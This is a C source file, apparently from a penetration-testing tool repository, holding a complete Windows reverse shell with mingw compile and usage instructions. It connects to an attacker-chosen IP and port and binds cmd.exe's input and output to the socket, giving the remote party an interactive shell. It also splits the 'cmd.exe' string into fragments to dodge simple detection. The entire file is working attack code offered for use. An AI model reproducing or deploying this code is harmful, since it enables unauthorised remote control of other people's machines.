mgeeky-Penetration-Testing-.../windows/revshell.c

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/*
* Shamefully simple reverse shell, totally not OPSEC-safe, proving extremely
* low programming skills. Coded up in couple of minutes.
*
* Compilation:
* - x64
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* $ x86_64-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
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* - x86
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* $ i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
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*
* Usage:
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* cmd> revshell <IP> <PORT> &
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*
* Where:
* - ip - remote attacker's server IP
* - port - remote attacker's server PORT
**/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdio.h>
#ifdef _MSC_VER
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# pragma comment(lib, "ws2_32")
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#endif
int main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in sin;
char saddr[16];
if (argc < 3)
{
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return 0;
}
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const char *hostname = argv[1];
unsigned int port = atoi(argv[2]);
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WSAStartup(MAKEWORD(2,2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
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struct hostent *host = gethostbyname(hostname);
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strcpy(saddr, inet_ntoa(*((struct in_addr *)host->h_addr)));
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sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(saddr);
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WSAConnect(wsock, (SOCKADDR*)&sin, sizeof(sin), NULL, NULL, NULL, NULL);
if (WSAGetLastError() == 0)
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{
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STARTUPINFO sinfo = {0};
PROCESS_INFORMATION procinfo = {0};
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sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)wsock;
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char *cmd[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf(command, sizeof(command), "%s%s%s%s", cmd[0], cmd[1], cmd[2], cmd[3]);
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CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &procinfo);
}
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return 0;
}